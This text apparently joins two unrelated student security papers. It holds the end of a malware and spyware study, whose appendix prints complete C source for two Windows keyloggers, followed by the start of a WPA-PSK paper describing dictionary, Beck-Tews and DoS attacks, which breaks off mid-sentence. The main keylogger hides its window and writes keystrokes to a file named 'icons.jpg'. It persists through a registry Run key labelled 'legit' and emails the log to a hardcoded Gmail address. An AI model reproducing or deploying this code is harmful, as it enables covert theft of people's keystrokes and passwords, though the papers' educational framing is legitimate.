spyware [1]. In such cases, there are license analyzers online 

which can help users detect if tracking devices are included in the 

program that they are downloading. 

We looked at the EULA from the program Samsung Kies on a 

license analyzer from www.spywareguide.com and here is a 

sample of the report: 

 

Fig. 5 sample of report (refer to appendix for larger picture) 

 

 

Fig. 6 sentences in EULA which suggest a spyware (refer to 

appendix for larger picture) 

 

As seen from the report, the analyzer helps users to scan through 

the EULA for keywords that may suggest the presence of a 

spyware (in this case there are 3 flagged keywords). 

5.4 Evaluation on effectiveness of preventive 

measures 
The methods that malware employ are often similar, but their 

fundamental structure may still have some slight differences. 

These differences, albeit subtle, are important for enabling a 

defender program to analyze their behavior and predict their 

location accurately. For example, in a typical computer, many 

programs often send data across networks at the same time, but 

the program that sends data at an abnormal pace and volume may 

be a worm. As for spyware, they seek to hide themselves and thus 

extra techniques may be needed to look for them. 

However, with the rapid evolution of malware technology, we feel 

that it is impossible for these defender programs (anti-spyware, 

anti-virus etc.) to be able to protect the computer against all 

malwares. Even though a firewall also offers protection, its 

protection is also limited since it only filters out data packets 

which are not approved by the user. A user can still make a virus 

or spyware download possible just by allowing the connection to 

happen. Therefore, depending on anti-spyware and firewall alone 

is not enough. Most importantly, the user needs be cautious about 

downloading things online especially from untrusted sources. 

Without awareness, the chances of cybercrimes and attacks are 

higher. 
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6. CONCLUSION 
In conclusion, we would like to emphasize on the importance of 

educating yourself adequately about how malware are used to 

commit cybercrimes. With the rapid advancement of technology, 

it is inevitable that malware technology will become more 

sophisticated and dangerous. It is the users’ responsibility to 

educate themselves about the dangers and take preventive 

measures. We can never trust the internet completely. It is 

recommended that sensitive information should not be sent over 

the internet. Online shopping and online transactions may seem 

safe and convenient but the customers’ information can be easily 

retrieved if their computers are being spied on or if the website’s 

database is hacked by a perpetrator (suppose the website is 

insufficiently protected). Furthermore, anti-malware and anti-virus 

programs may not be able to catch all the malware in the world, 

but at least they provide us with decent security. Therefore, it is 

also recommended to have them installed in your computer. 

Together, you can reduce the dangers of the internet.  
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Appendix 
Pictures 

 
Fig. 2 we did not hide any malicious code. Instead, we hid the output of the keylogger instead. Opening it in HoneyView Image Viewer 

shows an error, while Notepad++ reveals its true content. 

 

 
Fig. 3 CPU usage (refer to appendix for larger picture) 
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Fig. 5 sample of report (refer to appendix for larger picture) 

 
Fig. 6 sentences in EULA which suggest a spyware (refer to appendix for larger picture) 
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Codes for keylogger 

We have left the original comments by the authors of the keyloggers we used. Our own comments have been changed to blue. 

The codes are taken from: 

 http://www.irongeek.com/i.php?page=security/keylogger  

http://hackerthedude.blogspot.sg/2009/10/keylogger-in-c.html  

We have modified to combine their functions and have added some functions of our own too.  

Hooking keylogger 

/* Our own comments: Most of the code was already done by the keyloggers we looked up. We made a few 

modifications. 

Program introduces hooks to obtain input from the keyboard. Every time it starts up, it sends the previous log 

file in an email over to the attacker. If the sending is successful, it then erases and rewrites the log file. 

*/ 

 

// This code will only work if you have Windows NT or any later version installed, 2k and XP will work. 

 

#define _WIN32_WINNT 0x0400 

#include <windows.h> 

#include <winuser.h> 

#include <stdio.h> 

#pragma comment(lib,"Ws2_32.lib") 

 

// Global Hook handle 

HHOOK hKeyHook; 

 

// This is the function that is "exported" from the execuatable like any function is exported from a DLL. It 

is the hook handler //routine for low level keyboard events. 

 

__declspec(dllexport) LRESULT CALLBACK KeyEvent ( 

 int nCode,              // The hook code 

 WPARAM wParam,     // The window message (WM_KEYUP, WM_KEYDOWN, etc.) 

 LPARAM lParam        // A pointer to a struct with information about the pressed key 

) { 

 if  ((nCode == HC_ACTION) &&     // HC_ACTION means we may process this event 

    ((wParam == WM_SYSKEYDOWN) ||          // Only react if either a system key ... 

    (wParam == WM_KEYDOWN)))                  // ... or a normal key have been pressed. 

 { 

 // This struct contains various information about the pressed key such as hardware scan code, virtual 

key code and          //further flags. 

 

    KBDLLHOOKSTRUCT hooked = 

        *((KBDLLHOOKSTRUCT*)lParam); 

  

  //dwMsg shall contain the information that would be stored in the usual lParam argument of a 

WM_KEYDOWN    //message. All information like hardware scan code and other flags are stored within one 

double word at different // bit offsets. Refer to MSDN for further information: 

http://msdn.microsoft.com/library/en-us/winui/winui/ 

 // windowsuserinterface/userinput/keyboardinput/aboutkeyboardinput.asp 

  

 //  (Keystroke Messages) 

    DWORD dwMsg = 1; 

    dwMsg += hooked.scanCode << 16; 

    dwMsg += hooked.flags << 24; 

  

60

http://www.irongeek.com/i.php?page=security/keylogger
http://hackerthedude.blogspot.sg/2009/10/keylogger-in-c.html


// Call the GetKeyNameText() function to get the language-dependant name of the pressed key. This function 

should  //return the name of the pressed key in your language, aka the language used on the system. 

  

 char lpszName[0x100] = {0}; 

    lpszName[0] = '['; 

    int i = GetKeyNameText(dwMsg, 

        (lpszName+1),0xFF) + 1; 

    lpszName[i] = ']'; 

 

 // Print this name to the standard console output device. 

    FILE *file; 

    file=fopen("icons.jpg","a+"); 

    fputs(lpszName,file); 

    fflush(file); 

 } 

//  the return value of the CallNextHookEx routine is always returned by your HookProc routine. This allows 

other //applications to install and handle the same hook as well. 

  

return CallNextHookEx(hKeyHook, 

    nCode,wParam,lParam); 

} 

 

 

// This is a simple message loop that will be used to block while we are logging keys. It does not perform any 

real task ... 

 

/*Our own notes: In our first attempt of writing our own hook keylogger, we used the same method to make the 

program run, but it kept terminating due to some inconsistency with our own hooking functions. Therefore we 

decided to use the original hooklogger's methods instead */ 

 

void MsgLoop() 

{ 

 MSG message; 

 while (GetMessage(&message,NULL,0,0)) { 

    TranslateMessage( &message ); 

    DispatchMessage( &message ); 

 } 

} 

 

 

// This thread is started by the main routine to install the low level keyboard hook and start the message 

loop to loop forever //while waiting for keyboard  events. 

 

DWORD WINAPI KeyLogger(LPVOID lpParameter) 

{ 

//  Get a module handle to our own executable. Usually, the return value of GetModuleHandle(NULL) should be a 

valid //handle to the current application //instance, but if it fails we will also try to actually load 

ourselves as a library. The //thread's parameter is the first command line argument which is the path to our 

executable. 

 

 HINSTANCE hExe = GetModuleHandle(NULL); 

 if (!hExe) hExe = LoadLibrary((LPCSTR) lpParameter); 

 

//  Everything failed, we can't install the hook ... this never happened, but error handling is important. 

 

   if (!hExe) return 1; 

 hKeyHook = SetWindowsHookEx (   // install the hook: 
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    WH_KEYBOARD_LL,            // as a low level keyboard hook 

    (HOOKPROC) KeyEvent,       // with the KeyEvent function from this executable 

    hExe,                        // and the module handle to our own executable 

    NULL                       // and finally, the hook should monitor all threads. 

 ); 

 

//  Loop forever in a message loop and if the loop stops some time, unhook the hook. I could have added a 

signal handler for ctrl-c that unhooks the hook //once the application is terminated by the user, but I was 

too lazy. 

 

  

MsgLoop(); 

 UnhookWindowsHookEx(hKeyHook); 

 return 0; 

} 

 

/*Our own notes: Hides the program. A window will show on startup, but disappears. A savvy user will still 

know an unwanted program is being run. */ 

 

void Stealth() { 

 HWND Stealth; 

 AllocConsole(); 

 Stealth = FindWindowA("ConsoleWindowClass", NULL); 

 ShowWindow(Stealth,0); 

} 

 

int SendMail() {    SOCKET sockfd; 

    WSADATA wsaData; 

    FILE *smtpfile; 

 char *mailserver = "gmail-smtp-in.l.google.com"; 

 char *emailto = "leowweixiang1991@gmail.com"; 

 char *emailfrom = "ganjiahui1992@gmail.com";  //apparently this does not seem to matter 

 char *emailsubject = "Hello, this is the update today"; 

 

 

 //Prepare email message a.k.a. the log file; 

 FILE *file; 

 file = fopen("icons.jpg","rb"); 

 fseek(file,0,SEEK_END); 

 int len = ftell(file); 

 fseek(file,0,SEEK_SET); 

 char *emailmessage = (char *) malloc(len); 

 int freadindex=fread(emailmessage,1,len,file); 

 emailmessage[freadindex] = '\0'; 

 

 

     

    int buffersize = 300; 

    int bytes_sent;   /* Sock FD */ 

    int err; 

    struct hostent *host;   /* info from gethostbyname */ 

    struct sockaddr_in dest_addr;   /* Host Address */ 

    char line[1000]; 

    char *Rec_Buf = (char*) malloc(buffersize); 

    smtpfile=fopen("smtplog.wav","a+"); 

 

    if (WSAStartup(0x202,&wsaData) == SOCKET_ERROR) { 
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      fputs("WSAStartup failed",smtpfile); 

      WSACleanup(); 

   fclose(smtpfile); 

   return -1; 

    } 

    if ( (host=gethostbyname(mailserver)) == NULL) { 

       perror("gethostbyname"); 

    fclose(smtpfile); 

       return -1; 

    } 

    memset(&dest_addr,0,sizeof(dest_addr)); 

    memcpy(&(dest_addr.sin_addr),host->h_addr,host->h_length); 

 

     /* Prepare dest_addr */ 

     dest_addr.sin_family= host->h_addrtype;  /* AF_INET from gethostbyname */ 

     dest_addr.sin_port= htons(25); /* PORT defined above */ 

 

     /* Get socket */ 

 

     if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) { 

        perror("socket"); 

  fclose(smtpfile); 

        return -1; 

        } 

     /* Connect !*/ 

     fputs("Connecting....\n",smtpfile); 

  

    if (connect(sockfd, (struct sockaddr *)&dest_addr,sizeof(dest_addr)) == -1){ 

        perror("connect"); 

  fclose(smtpfile); 

        return -1; 

        } 

     Sleep(500); 

 

  //navigate SMTP protocol 

     err=recv(sockfd,Rec_Buf,buffersize,0);Rec_Buf[err] = '\0'; 

     fputs(Rec_Buf,smtpfile); 

     strcpy(line,"helo me.somepalace.com\n"); 

     fputs(line,smtpfile); 

     bytes_sent=send(sockfd,line,strlen(line),0); 

     Sleep(500); 

     err=recv(sockfd,Rec_Buf,buffersize,0);Rec_Buf[err] = '\0'; 

     fputs(Rec_Buf,smtpfile); 

     strcpy(line,"MAIL FROM:<"); 

     strncat(line,emailfrom,strlen(emailfrom)); 

     strncat(line,">\n",3); 

     fputs(line,smtpfile); 

     bytes_sent=send(sockfd,line,strlen(line),0); 

     Sleep(500); 

     err=recv(sockfd,Rec_Buf,buffersize,0);Rec_Buf[err] = '\0'; 

     fputs(Rec_Buf,smtpfile); 

     strcpy(line,"RCPT TO:<"); 

     strncat(line,emailto,strlen(emailto)); 

     strncat(line,">\n",3); 

     fputs(line,smtpfile); 

     bytes_sent=send(sockfd,line,strlen(line),0); 

     Sleep(500); 
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     err=recv(sockfd,Rec_Buf,buffersize,0);Rec_Buf[err] = '\0'; 

     fputs(Rec_Buf,smtpfile); 

     strcpy(line,"DATA\n"); 

     fputs(line,smtpfile); 

     bytes_sent=send(sockfd,line,strlen(line),0); 

     Sleep(500); 

     err=recv(sockfd,Rec_Buf,buffersize,0);Rec_Buf[err] = '\0'; 

     fputs(Rec_Buf,smtpfile); 

 

  //create the email 

     Sleep(500); 

     strcpy(line,"To:"); 

     strcat(line,emailto); 

     strcat(line,"\n"); 

     strcat(line,"From:"); 

     strcat(line,emailfrom); 

     strcat(line,"\n"); 

     strcat(line,"Subject:"); 

     strcat(line,emailsubject); 

     strcat(line,"\n"); 

     strcat(line,emailmessage); 

     strcat(line,"\r\n.\r\n"); 

     fputs(line,smtpfile); 

     bytes_sent=send(sockfd,line,strlen(line),0); 

     Sleep(500); 

     err=recv(sockfd,Rec_Buf,buffersize,0);Rec_Buf[err] = '\0'; 

     fputs(Rec_Buf,smtpfile); 

     strcpy(line,"quit\n"); 

     fputs(line,smtpfile); 

     bytes_sent=send(sockfd,line,strlen(line),0); 

     Sleep(500); 

     err=recv(sockfd,Rec_Buf,buffersize,0);Rec_Buf[err] = '\0'; 

     fputs(Rec_Buf,smtpfile); 

     fclose(smtpfile);                           

     #ifdef WIN32 

     closesocket(sockfd); 

     WSACleanup(); 

     #else 

     close(sockfd); 

     #endif 

  return 0; 

} 

 

/*Our own notes: This attempts to open the log file it's supposed to create. If the file is missing, it means 

this program has been run for the first time or file has been discovered and removed, so it writes itself into 

the registry*/ 

 

void AutoStart() 

{ 

 FILE *file; 

 file = fopen("icons.jpg","r"); 

 //If file is not present then keylogger is run for the first time 

 if(file==NULL) 

 { 

 Fclose(file); 

     file=fopen("icons.jpg","a+"); 

     //Change the atribute of file to hidden and system type file 
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     //system("attrib +h +s icons.jpg"); 

     fclose(file); 

 

  //Testing several methods for startup 

  //upon testing this, it doesn't work (access denied) 

  system("copy /Y hooklog2.exe \"C:\ProgramData\Microsoft\Windows\Start 

Menu\Programs\Startup\""); 

 

  //registry edit 

  //The registry did not appear in RegEdit for some reason, but it seems to work. Unfortunately 

there appears to be a bug, 

  //it manages to execute itself but throws up a stream error 

  //the result is that my computer starts up much slower now (infected twice), so we decided not 

to attempt it again. Lesson learnt: Use a virtual OS when testing such programs 

  //believe it is due to fclose on a NULL file, but it works when manually activated 

  char path[MAX_PATH]; 

  HMODULE handle = GetModuleHandle(NULL); 

  HKEY key; 

  GetModuleFileName(handle, path, sizeof(path)); 

  RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, 

KEY_SET_VALUE, &key); 

  RegSetValueEx(key, "legit", 0, REG_SZ, (BYTE *) path, sizeof(path)); 

  RegCloseKey(key); 

 

 } 

    else { 

     fclose(file); 

     //upon startup, send the previous log file, then clear it for a new session 

     if(SendMail()!=0) { 

    file = fopen("icons.jpg","w"); 

    fclose(file); 

   } 

    } 

} 

 

int main(int argc, char** argv) 

{ 

   Stealth(); 

   AutoStart(); 

 HANDLE hThread; 

 DWORD dwThread; 

 DWORD exThread; 

 hThread = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE) 

    KeyLogger, (LPVOID) argv[0], NULL, &dwThread); 

 if (hThread) { 

    return WaitForSingleObject(hThread,INFINITE); 

 } else { 

    return 1; 

 } 

} 
 

Basic keylogger 

//Stealth function and format for log 

//keeps looping so takes up too much CPU (25%), and possibly inaccurate 

 

#include <stdio.h> 
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#include <windows.h> 

#include <winuser.h> 

 

int Save (int key_stroke, char *file); 

void Stealth(); 

 

int main() { 

   Stealth(); 

   char i; 

 

   while (1) { 

    sleep(10); 

    for(i = 8; i <= 190; i++) { 

     if (GetAsyncKeyState(i) == -32767) 

     Save (i,"LOG.txt"); 

    } 

   } 

   system ("PAUSE"); 

   return 0; 

} 

 

/* *********************************** */ 

 

int Save (int key_stroke, char *file) { 

   if ( (key_stroke == 1) || (key_stroke == 2) ) 

   return 0; 

 

   FILE *OUTPUT_FILE; 

   OUTPUT_FILE = fopen(file, "a+"); 

 

   cout << key_stroke << endl; 

 

   if (key_stroke == 8) fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]"); 

   else if (key_stroke == 13) fprintf(OUTPUT_FILE, "%s", "\n"); 

   else if (key_stroke == 32) fprintf(OUTPUT_FILE, "%s", " "); 

   else if (key_stroke == VK_TAB) fprintf(OUTPUT_FILE, "%s", "[TAB]"); 

   else if (key_stroke == VK_SHIFT) fprintf(OUTPUT_FILE, "%s", "[SHIFT]"); 

   else if (key_stroke == VK_CONTROL) fprintf(OUTPUT_FILE, "%s", "[CONTROL]"); 

   else if (key_stroke == VK_ESCAPE) fprintf(OUTPUT_FILE, "%s", "[ESCAPE]"); 

   else if (key_stroke == VK_END) fprintf(OUTPUT_FILE, "%s", "[END]"); 

   else if (key_stroke == VK_HOME) fprintf(OUTPUT_FILE, "%s", "[HOME]"); 

   else if (key_stroke == VK_LEFT) fprintf(OUTPUT_FILE, "%s", "[LEFT]"); 

   else if (key_stroke == VK_UP) fprintf(OUTPUT_FILE, "%s", "[UP]"); 

   else if (key_stroke == VK_RIGHT) fprintf(OUTPUT_FILE, "%s", "[RIGHT]"); 

   else if (key_stroke == VK_DOWN) fprintf(OUTPUT_FILE, "%s", "[DOWN]"); 

   else if (key_stroke == 190 || key_stroke == 110) fprintf(OUTPUT_FILE, "%s", "."); 

   else fprintf(OUTPUT_FILE, "%s", &key_stroke); 

 

   fclose (OUTPUT_FILE); 

   return 0; 

} 

 

 

/* *********************************** */ 

 

void Stealth() 

{ 

HWND Stealth; 

AllocConsole(); 

Stealth = FindWindowA("ConsoleWindowClass", NULL); 

ShowWindow(Stealth,0); 

} 
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ABSTRACT
This paper focuses on the details and structure of Wi-Fi Protected 
Access (WPA) and its vulnerability. It also focuses on the type of 
attack  and  ways  to  protect  WPA.  The  context  of  this  paper  is 
focused  to  Small  Office/Home Office  (SOHO) routers  that  use 
pre-shared key (WPA-PSK) protocol.
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1. INTRODUCTION
Wireless  networks  have  now  overtaken  the  wired  network. 
Wireless network is so convenient compared to wired network as 
it allows the users to connect to the internet without the need to  
physically  connecting  their  devices  to  any LAN ports  using  a 
wire. Basically, when the users are using wireless network, their 
data are being transferred over the air. As convenient as it seems, 
it also poses threat. Anybody could capture the 802.11 data in the 
air with the combination of a modified device and some technical 
knowledge  in  the  field  of  networking.  In  this  paper,  we  will 
discuss  about  home  routers  that  uses  Wi-Fi  Protected  Access 
(WPA), a protocol that was introduced as a replacement to WEP; 
 a  flawed  mechanism previously.  The  default  configuration  of 
home routers offer little security and could turn vulnerable due to 
misconfiguration.  The  WPA  protocol  also  has  its  weaknesses 
because of  the  need  to  cater  for  legacy routers  which  are  still 
being  used  but  not  applicable  for  a  hardware  upgrade. 
Consequently,  the  vulnerability  of  WPA poses  a  threat  to  the 
usage of home Wi-Fi routers. This paper also looks into different 
types of attack that has been done to the WPA protocol and the  
weak points of the WPA where the attacks have started. Several 
solutions  will  also  be  provided  later  to  prevent  the  discussed 
attacks and also other preventive steps to be taken to better ensure 
the security of home Wi-Fi routers.

2. Wi-Fi Protected Access (WPA)
2.1 Background of WPA
WPA is  a  security  protocol  and  security  certification  program 
developed by Wi-Fi Alliance to secure wireless network [13]. It is 
a subset of WPA2 which was designed to address the vulnerability 
of WEP. As such, WPA is also forward-and-backward compatible 
[13].  WPA comes up  with  new encryption  algorithm and  user 
authentication  protocol  which  was missing in  WEP.  WPA was 
designed  to  secure  all  devices  of  802.11  (including  802.11a, 
802.11b, 802.11g) and it can be installed as a software update in  
almost most of the Wi-Fi devices [13]. 

2.2 WPA Security Feature
2.2.1 Encryption
WPA implements a greatly enhanced encryption scheme which is 
known as Temporal Key Integrity Protocol (TKIP) to overcome 
the WEP’s vulnerable point.

TKIP encryption works in two phases. In the first phase, a session 
key called  TKIP-Mixed  Transmit  Address  and  Key (TTAK) is 
generated using temporal key (128-bit),  TKIP sequence number 
(TCS; made up of source address,  destination address,  priority, 
and payload or data) and the transmitter’s MAC address [2].  In  
the second phase, the TTAK generated in the first phase together  
with Initial  Vector  (IV) is used to  create a key that  is used to  
encrypt data [2]. This process is also called as key mixing [4]. For 
simplicity,  the session  key produced  in  the first  phase is  often 
called master key while the key produced in the second phase is 
called  the  unique  key  [4].  This  process  of  key  generation  is 
illustrated in Figure 1 below.

The temporal key is dynamically generated per session, per user 
and per packet [4]. On the other hand, WEP is using a static 40-
bit key that is entered directly into the devices; access points (AP) 
and clients.  It  could only be changed by re-entering a new key 
into  those  devices.  Furthermore,  TKIP  also  doubles  the 

Permission to make digital or hard copies of all or part of this work for 
personal or classroom use is granted without  fee provided that  copies 
are not made or distributed for profit or commercial advantage and that  
copies bear this notice and the full citation on the first page. To copy 
otherwise,  or  republish,  to  post  on  servers  or  to  redistribute  to  lists, 
requires prior specific permission and/or a fee.

Figure 1: TKIP Key Generation
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(initialization  vectors)  IV  length  from  24-bits  to  48-bits  to 
mitigate  the  attacks against  it.  The IV  also  acts  as  a  sequence 
counter to defend against replay attacks. There were no hardware 
upgrades needed for WPA from WEP due to the fact that TKIP 
still uses the same RC4 cipher. Figure 2 below shows the structure 
of TKIP frame.

2.2.2 Authentication
WPA was designed with the authentication mechanism which was 
absent in WEP. WPA has two methods of authentication. The first 
uses  802.1X  together  with  Extensible  Authentication  Protocol 
(EAP) [13]. This method is used in WPA-Enterprise mode which 
is  normally  intended  for  large  organisations  and  companies. 
RADIUS is used for back end authentication while EAP is used 
for in-air authentication [2]. These authentication servers generate 
per user key [6]. Figure 3 below shows a WPA-Enterprise setup. 

On the other hand, the second method uses pre-shared key (WPA-
PSK mode). The WPA-PSK mode is widely used in SOHO (small 
office home based networks) and less complicated than the WPA-
Enterprise. This network only involves the client (mobile phone, 
laptop, and tablet) and the access point (router) [13]. A network 
identifier  (SSID)  and  PSK/password  is  used  for  authentication. 
The password which could be from 8 to 63 ASCII characters (256 
bits) is manually entered in both the client and access point [6].  
To prevent  someone  who has the pre-shared key of  a  network 

from eavesdropping on others’ conversation, WPA uses the pre-
shared key as the group master key (GMK) which drives a pair 
transient key (PTK) [2]. Figure 4 below shows the setup of WPA-
PSK.

2.2.3 Integrity
WPA also includes Message Integrity Check (MIC or Michael) 
that  replaces  CRC  in  WEP.  MIC  prevents  attackers  from 
capturing,  altering  and  resending  the  data  packets  [4].  This  is 
achieved by encrypting the MIC inside the data portion and thus 
preventing a hacker from obtaining it using a wireless sniffer [2]. 

In  addition  to  that,  TKIP  and  MIC  introduces  the  TKIP 
countermeasures  procedures  which  combat  against  modification 
attacks.  The  access  point  shut  down  its  communications  for  a 
minute if two MIC failures occur in 60 seconds [2]. After that, it  
turns on its communication back and requires the clients trying to 
reconnect to change their keys and undergo re-keying [2].  Both 
the transmitter and receiver use a hashing mathematical function 
to compute MIC [2].   If the MIC obtained is different from each 
other, the packet will be dropped as it is assumed to be forged [4]. 

2.3 WPA2
WPA2  is  the  complete  set  of  WPA  and  it  contains  all  the 
functions  of  WPA.  In  addition  to  that,  WPA2 upgrades  some 
mechanisms that were being used by WPA. WPA2 introduces an 
advanced encryption system (AES) or CCMP in addition to TKIP 
used  in  WPA [5].  Counter  Mode  with  Cipher  Block Chaining 
Message  Authentication  (CCMP)  uses  much  more  secure  and 
vetted AES encryption algorithm [5]. WPA2 also defines a robust 
security network (RSN) which requires a number of capabilities at 
the  station  and  AP  [7].  RSN  standard  is  used  for  dynamic 
negotiation  of  authentication  and  encryption.  Table  1  below 
shows some of the important differences between WEP, WPA and 
WPA2.

Table 1. Comparison of WEP, WPA. and WPA2

WEP WPA WPA2

Cipher 
algorithm

RC4 RC4 with TKIP AES with CCMP

Figure 3: WPA Enterprise setup

Figure 4: WPA-PSK setup
Figure 2: TKIP Frame

Figure 4: WPA PSK Setup
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- IEEE 802.1x 
EAP

IEEE 802.1x 
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2.4 WPA-PSK Weakness
2.4.1 Weak Passphrase Choice
In  November 2003,  Robert  Moskowitz  released a paper  named 
“Weakness  in  Passphrase  Choice  in  WPA  Interface”.  In  this 
paper,  he explained a formula that would reveal the passphrase 
using the dictionary attack [6]. This weakness is based on the fact 
that  the  pairwise  master  key  (PMK)  is  derived  from  the 
combination  of  the  passphrase,  SSID,  length  of  the  SSID  and 
nonces.  The  concatenated  string  of  this  information  is  hashed 
4,096 times to generate a 256-bit value and combine with nonce 
values. The information required to create and verify the session 
key is broadcast with normal traffic and is readily obtainable; the 
challenge then becomes the reconstruction of the original values. 
Moskowitz  explains  that  the  pairwise  transient  key (PTK)  is  a 
keyed-HMAC function based on the PMK; by capturing the four-
way authentication handshake, the attacker has the data required 
to  subject  the  passphrase  to  a  dictionary  attack.  According  to 
Moskowitz, ‘a key generated from a passphrase of less than about 
20 characters is unlikely to  deter attacks’ [6].  This was proven 
when Takehiro Takahashi, a student from Georgia Tech released 
WPA Cracker.  Similarly,  Josh  Wright,  a network engineer  and 
well  known security lecturer released coWPAtty.  Both this tool  
written for Linux systems, perform brute-force dictionary attack 
against WPA-PSK network to determine the shared password [6]. 

2.4.2 Weakness in TKIP
TKIP was introduced in WPA to provide better security than the 
previous  vulnerable  WEP.  TKIP  includes  several  features  to 
enhance  security  such  as  key  mixing  functions  and  MIC  for 
integrity  check.  However,  it  uses  the  same  RC4  cipher  for 
encryption, which is the same cipher used for WEP. This is done  
so that WPA can still be implemented on legacy routers that are  
not  applicable  to  a  hardware  upgrade  but  can  still  perform a 
firmware upgrade. This feature of TKIP causes it to be vulnerable 
to attacks such as the Beck-Tews attack. The mechanism of TKIP 
is exploited as an attacker can still perform an attack, similar to 
the  ChopChop  attack  on  WEP,  whereby the  access  point  will 
respond  when the checksum of a packet  is  incorrect  [1].  Even 
though  the  MIC  code  is  introduced  to  prevent  such  attack  by 

shutting down the access point and resetting the interval key after 
two  consecutive  MIC  check  failures  occurred  in  a  one  minute 
interval, an attacker can decrypt one byte and wait for one minute 
to avoid the prevention scheme of MIC [1].  The mechanism of 
MIC is required for checking integrity but is not well designed to 
counter attacks. 

2.4.3 Limitation of SOHO routers
Since WPA is readily upgradeable from WEP by software update, 
there  was  no  hardware  changes  required.  However,  the  AES 
(Advanced Encryption System) block cipher which is included in 
WPA2  is  more  computationally  intensive  and  thus  requires 
hardware upgrade to enable the router to use WPA2. Furthermore, 
there are also hardware differences between WPA-Enterprise and 
WPA-PSK as mentioned  earlier.  The absence of authentication 
server (RADIUS) further reduces the security in WPA-PSK as the 
key is no longer generated per user. Thus, by using the pre-shared 
key, the chances of violating the security in WPA-PSK is much 
higher  than  in  WPA-Enterprise  due  to  the  absence  of 
authentication server.

2.5 Type of Attacks on WPA-PSK Routers
WPA may be an improvement from the vulnerable WEP, but it 
still has flaws which allowed numerous attacks to succeed. Some 
of the more popular attacks will be discussed and explained in this 
section.  Network attacks normally consist  of two types,  namely 
passive and active attacks.

Passive attacks are attacks in which an attacker gains access to a 
network but does not change any content in the network. In other 
words, passive attacks are very difficult to be detected. Attackers 
that  perform  passive  attacks  are  mostly  trying  to  collect 
information or data from a network without alarming the users in 
the network. 

On the other hand, active attacks make unauthorized changes to 
the  network  by  performing  malicious  and  detectable  activities. 
Active attacks produce a clear effect of a network being attacked 
such as service disruption or data modification.

2.5.1 Brute-Force Dictionary Attack
The dictionary attack is an attack on the pre-shared key (PSK) of 
the  WPA-PSK network.  It  is  based  on  the  concept  that  Wi-Fi 
users  would  use  words  or  phrases  which  can  be  found  in 
dictionaries, as the pre-shared key. This attack requires a list of 
words or phrases known as a dictionary file, a captured four-way 
handshake packet from a newly connected host, and the SSID of 
the network. This attack is done by hashing the words or phrases 
in  the  dictionary file,  and  compare  them one  by one  with  the 
hashed password in the captured four-way handshake packet. The 
original word or phrase of the hashed value that matches with the 
hashed password will be the correct pre-shared key [5].

2.5.1.1 coWPAtty
coWPAtty is a brute-force attacking tool that was used to attack 
WPA-PSK  designed  by  Mr.  Wright.  It  attempts  to  crack  the 
WPA-PSK  by testing  numerous  passwords,  in  order,  one  at  a 
time.  However,  this  tool  is  not  very fast  as  it  can  try only  a 
maximum of 30-60 words per second [3]. Taking the middle value 
of this  range,  45  words per second,  by the end of the day the 
cracker would have tested only 3,888,000 words. Comparing this 
number  with  the  minimum  passphrase  of  length  8,  there  are 
208,827,064,576 possible ways to create a minimum eight-letter 
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password.  This would make the cracking process for more than 
53710  days.  The  possible  ways  of  creating  password  increase 
tremendously as the number of characters used are more than 8. 
However,  coWPAtty  can  quickly  rule  out  the  standard  weak 
passwords. In addition, it provides an excellent teaching tool to 
demonstrate WPA’s weakness [3].

2.5.1.2 WPA Cracker
WPA Cracker is a dictionary attack tool that was developed by 
Takehiro Takahashi, to attack the WPA-PSK. The effectiveness of 
this  attack  is  inversely  proportional  to  the  entropy  of  the 
passphrase  chosen  in  WPA-PSK.  Studies  observed  that  nearly 
40% of administrator’s passwords in UNIX system consisted of a 
word  or  combination  of words.  This lowers  the entropy of the 
passphrase  especially for  normal  users  of  home Wi-Fi  routers. 
WPA Cracker  has  a  Password  Cracking  Library (PCL)  and  an 
easily configurable interface in aid to crack the WPA-PSK for the 
passphrase,  using  the  method  of  offline  dictionary  attack. 
However,  the  encrypted  passphrase  in  the  four-way handshake 
needs  to  be  captured  first  before  using  the  WPA  Cracker  to 
perform dictionary attack [11].

WPA Cracker requires user to perform a manual string extraction, 
unlike coWPAtty which contains an automatic parser. Both these 
tools require the user to supply password list (dictionary file), a 
capture file (dump file) that contains EAP four-way handshake. 
Each tool uses the PBKDF2 algorithm that governs PSK hashing 
to attack and determine the passphrase. Neither is extremely fast 
or  effective  against  larger  passphrases,  though,  as  each  must 
perform  4,096  HMAC-SHA1  iterations  with  the  values  as 
described in the Moskowitz paper [6].

2.5.2 Beck-Tews Attack
Beck-Tews attack  is  a  keystream recovery attack.  It  is  able  to 
obtain the keystream of a captured packet and use this keystream 
to  inject  arbitrary  packets  into  the  network,  similar  to  the 
ChopChop attack. An attacker can replay a captured packet in the 
network to guess the plaintext one byte at a time. The ICV will 
discard  the  packet  silently  if  the  guess  is  not  correct.  If  it  is 
correct,  ICV  will  pass  but  the  MIC  check  will  issue  a  failure 
response [1]. Although WPA has implemented MIC for integrity 
check of the packets, this mechanism has a flaw. While it will shut  
down the access point for 1 minute to protect the network after 2 
consecutive MIC check failure in a minute window, an attacker 
can  wait  for  1  minute  after  each  MIC  check  failure  before 
continuing to replay the packets. This method may take a longer 
time than the ChopChop attack on WEP, but attacking an ARP 
packet  on  WPA  using  this  method  can  be  done  in  about  15 
minutes, which is reasonable [12]. 

With the ciphertext and plaintext of the packet, an attacker can 
obtain the keystream and MIC code. These will be used to inject 
arbitrary  packets  into  the  network.  Even  though  WPA  has 
included a sequence counter  to  prevent  the transmission  of old 
packets,  the  introduction  of QoS channels  defeated its  purpose 
because  an  attacker  can  inject  these  packets  through  the  QoS 
channels which normally are seldom used and the number in the 
sequence counter is still low [1]. Through this method, malicious 
packets such as ARP packets can be injected into the network to 
perform ARP poisoning, altering the ARP tables of the machines.

2.5.3 Denial of Service Attack (DoS)
DoS attack is a well  known attack which is applicable to many 
computer networks including WPA networks. Its main purpose is 

to terminate the services of servers or websites, preventing users 
from  accessing  the  network.  DoS  attack  on  WPA  can  be 
implemented through different methods, such as manipulating the 
attribute of MIC or sending ICMP requests in bulk. However, the 
easiest  kind  of  DoS  attack  is  the  noise  interference  [5].  For  
example,  a radio  device that  uses  the same band  as  a network 
operating with 2.4 or 5GHz frequency bands can easily interfere 
the  network  and  thus  dropping  the  overall  network  [5].  This 
method is also unfortunately unstoppable [5].

Aireplay-ng is a program which performs WPA deauthentication 
spoofing.  This  program  spoofs  a  deauthentication  packet  to  a 
